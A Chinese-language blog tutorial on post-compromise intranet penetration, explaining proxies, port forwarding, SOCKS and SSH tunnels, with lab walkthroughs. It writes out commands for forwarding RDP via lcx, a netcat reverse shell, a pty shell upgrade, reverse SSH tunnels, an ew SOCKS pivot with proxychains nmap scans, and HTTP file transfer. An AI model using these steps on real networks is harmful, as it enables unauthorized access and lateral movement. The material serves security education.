内网渗透-详解代理逻辑及隧道

写在前面

红蓝对抗过程中打点以后往往需要进行内网渗透和横向移动,因此大家都需要扎实掌握代理和隧道知识,一款优秀的代理工具也可以给内网渗透带来很大的收益。本期分享,小星将通过简单易懂的方式向大家普及各种代理逻辑及隧道的原理和操作过程。

1.正向代理:

代理客户端,帮助客户端完成所需请求。

举例:小星要向银行贷款,可是因为自己资历不够,所以不获银行放贷,小星个人无法贷到所需款项。此时,只要小星找一个满足资历的A先生去帮忙借贷,银行自然就会放贷。贷款到账后,A先生再私下把钱给到小星。就整个流程来看,对于银行(服务端)来说,借款是贷给A先生了,但实际上款项还是流向了小星(客户端),但银行(服务端)是不知道的。

生活应用场景举例:我们打算访问谷歌,YouTube,直接在百度访问肯定是不行的,直接就会被墙拦截。但此时通过在国外的服务器搭建一个ssr,再通过shadow***s进行正向代理去访问国外网站就会成功。因为此时我们是通过这个正向代理进行访问,然后这个正向代理将会把服务端的响应返还至我们,对于服务端来说,访问者只是这个国外服务器。

渗透过程中的举例:您得到了一台服务器的shell,并想要在metasploit中进行利用,如果服务器没有防火墙或者没有外部向内部发起连接的限制,那么我们就可以采用正向代理,由服务器开启一个监听模式,您在客户端请求监听,并在metasploit中得到shell。

2.反向代理:

代理服务端,帮服务端去完成所需请求。

举例:小星拨打电信客服电话,此时语音提示小星需选择所需的业务和进入人工服务。当您完成选择后,服务器会根据您请求的业务进行分配,空闲的人工服务人员帮助小星解决问题。此时,小星(客户端)并不知道服务端中处理请求的人是谁,只知道是电信的人员,这种现象与正向代理相反。

生活应用场景举例:大家几乎都听过nginx反向代理,它是用来处理较大流量访问的好选择,意思就是它能进行一个负载均衡,因材施教。若您请求的是文件,那么就将请求发送到专门的文件服务器;若您请求的是图片,那就发送到专门的图片服务器,大大减少服务器的负荷。

渗透过程的举例:您得到一台服务器的shell,并想要在metasploit中进行利用,但是服务器存在防火墙或者对外部直连服务器设有限制。此时,我们就可以利用shell在客户端开启一个监听模式,通过服务器请求属于我们客户端的监听,从而得到一个metasploit的meterpreter,这也是大家所说的“弹个shell”。

3.端口转发:

举例:socket就是ip+port,通信就是访问服务器加端口,所有服务都会对应一个端口,例如apache->80->8080。当服务开启时,流量都会走这个端口。我们访问http就是访问服务器的80端口的流量,同理端口转发时,就是把服务器A的a1映射到服务器B的一个b1,访问服务器B的b1就是A的a1端口。

生活应用场景举例:如果您的家中路由器有公网ip(一般是需要向中国电信等运营商申请企业版的宽带),并且家中的局域网设有一台笔记本,您利用笔记本开启了apache服务和在里面搭建了一个网站。若您想要把这个网站转发给您不在家中局域网的朋友,此时您就可以通过路由器的管理界面进行端口转发,将您笔记本中的ip 80映射到路由器的80中,这样您朋友的访问路由器的公网ip就是您局域网中笔记本内的网站了。

渗透过程举例:转发3389相信大家都不陌生,提下一台windows的服务器,开启3389,添加管理员账号。此时发现服务器是内网ip,只是被映射到了公网上。我们如何进行连接呢?您只需要一台公网服务器(自行购买),通过shell将windows服务器的3389转发到公网的一个端口,然后再去连接您公网的所属端口就是内网服务器的3389了。

4.socks代理:

socks就是sockets,是一种网络协议,用于客户端和外网服务器之间的通信,控制客户端访问外网的资格,需要得到用户同意后才将客户端的请求发往外部服务器。

介绍,也是一个代理协议。您可以理解为通过一个socks代理(socks5版本功能更强大),为一台服务器的连接进行代理,相当于把一个服务器代理出来,比端口转发更好用(因为端口转发可能就单单把一个3389端口转发出来)。通过socks5可以进行更多的操作,例如主机发现,端口扫描等等。此外,有个叫socks的服务器,有兴趣的用户也可以了解一下。

渗透测试的举例:我们常会听到一些话术,比如黑客对内网进行了漫游、横向移动、纵向移动等等。小星的理解是横向移动是拿下同c段的主机,纵向移动是一个局域网内不同c段可能更往上的主机被拿下(往往通过跳板机)。所以大多数的黑客都会进行socks5代理、主机发现、扫描等等,发现了一个局域网内的其他资产和层层代理中,每一层都会有个跳板。例如有一台双网卡主机,如果要拿下此台主机,那么另一个网卡地址也会暴露。此时利用这台主机对另一个网卡进行渗透,这就是跳板。毕竟网络能够到达才能开展攻击。

5.桥接:

工作与osi的第二层-数据链路层,对数据包进行转发。虚拟机中的桥接大家可以理解为我们局域网中的一台主机,大家都能到达访问。

6.nat:

网络地址转换协议,一个局域网内的主机想要与公网通信,需要通过如路由器的公网ip进行nat转换为公网ip,才可以进行通信(解决ipv4 ip不够用的问题)。虚拟机的场景就是一台nat虚拟机通过把物理机当做一个路由器。我们在局域网内是无法单纯访问nat虚拟机,若想要访问,则需要通过代理。Nat可以访问桥接,桥接相反。

7.ssh隧道:

ssh不仅可以进行加密连接管理一个服务器,也可以用其进行端口转发。区别于上面的端口转发,大部分服务器都是自带ssh服务,无需上传工具 方便隐蔽。

实操过程

1:转发3389

所需工具:lcx.exe-转发windows端口,portmap转发linux端口

实验环境:桥接的kali(192),nat的win2008(172)

目的:kali通过win2008的远程桌面进行管理

网络情况:nat可以ping通kali,kali ping不通nat

条件:拥有以上两台服务器的shell(渗透过程中亦然)

转发过程:

1)Kali上先监听一个端口1234,且把流量转到8888。

1669260454_637ee4a6e96c1e801c2c1.png!small?1669260456522

2)Windows上传lcx.exe,且执行:lcx.exe -slave 192.168.0.102 1234 127.0.0.1 3389,意思就是连接192的1234端口且把3389流量转发过去。

1669260460_637ee4ac3d6d7cfd27b23.png!small?1669260462666

3)此时kali收到响应信息。

1669260466_637ee4b28d5141d35a21b.png!small?1669260468431

4)Kali命令行执行rdesktop 127.0.0.1:8888,成功访问nat的3389。

1669260473_637ee4b99e928f4c234a6.png!small?1669260475149

2:nc反弹shell

Nc是netcat,一款网络工具,在黑客攻击中常用来做通道和反弹shell。

需要工具:nc,大部分linux服务器自带

实验环境:桥接的kali(192),nat的centos(172)

目的:kali得到nat的shell

网络情况:nat可以ping通kali,kali ping不通nat

条件:拥有以上两台服务器的shell(渗透过程中亦然)

转发过程:

1)Kali上首先监听一个端口4445。

1669260483_637ee4c36d693ac14deb6.png!small?1669260484769

2)Nat进行请求kali的4445端口,且返回一个shell。

1669260488_637ee4c8ee4cc922bffa3.png!small?1669260490505

3)此时查看kali,成功得到目标shell,这就是反弹shell。

1669260495_637ee4cf191fef47eb3fc.png!small?1669260496455

4)扩展:此时为了方便可以利用python得到一个交互式shell。

命令:python -c 'import pty;pty.spawn("/bin/bash")'

1669260513_637ee4e10af44cc3bc678.png!small?1669260515187

3:ssh隧道

环境与nc反弹shell相同,此处不再赘述。

相关命令:

1)本地访问127.0.0.1:port1,就是host:port2 (相比之下,使用频率更高)。

ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

2)访问host:port2,就是访问127.0.0.1:port1。

ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

3)将dmz_host的hostport端口通过remote_ip转发到本地的port端口。

ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port

4)将dmz_host的hostport端口转发到remote_ip的port端口。

ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用于内网穿透防火墙限制之类

4:ew代理内网(socks5)

环境同上

目标:桥接的kali访问nat的网站和Kali对nat的主机进行nmap端口扫描。

1)Nat主机上传ew工具:

1669260552_637ee5087c7f6854bf1c1.png!small?1669260554138

2)Mac主机上传ew:

1669260558_637ee50ec92a1e4ddea32.png!small?1669260560650

因为环境问题,我们物理机和桥接、nat都通,桥接不同于nat,所以此时mac相当于我们的跳板机。

3)Nat主机执行 ./ew_for_Linux32 -s ssocksd -l 8887

1669260565_637ee5159db9dd278e568.png!small?1669260567207

4)Mac物理机执行 ./ew_MacOS -s lcx_tran -l 1020 -f 172.16.143.170 -g 8887

5)Kali尝试访问nat主机,但结果肯定是失败的。

1669260572_637ee51c92a74cb659be4.png!small

5)在浏览器开启socks5代理再次尝试。

1669260587_637ee52b4493e89398a53.png!small?1669260590245

6)成功访问。

1669260595_637ee53315327a7602325.png!small?1669260596699

7)此时观察nat主机和mac主机命令行。

1669260603_637ee53b4fe02cae117cc.png!small?1669260605408

1669260611_637ee543707742f02fddf.png!small?1669260614350

8)Nmap扫描目标,vi /etc/proxychains.conf添加一个socks5。

1669260620_637ee54c2a86e740aec7c.png!small?1669260621793

9)proxychains nmap -sT -Pn 172.16.143.170 (即可扫描)。

1669260627_637ee5531f0ed54ffaecf.png!small?1669260629004

10)proxychains nc 172.16.143.170 21

1669260632_637ee5589a15104ade797.png!small?1669260634075

5:实用命令

1)开启一个简易的http服务:

python -m http.server 9998(py3)

python -m SimpleHTTPServer 8887(py2)

2)客户端进行wget ip:port/下载您想要的文件即可,这常用于内网渗透中的文件传输。

3)开启一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

  • 39
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值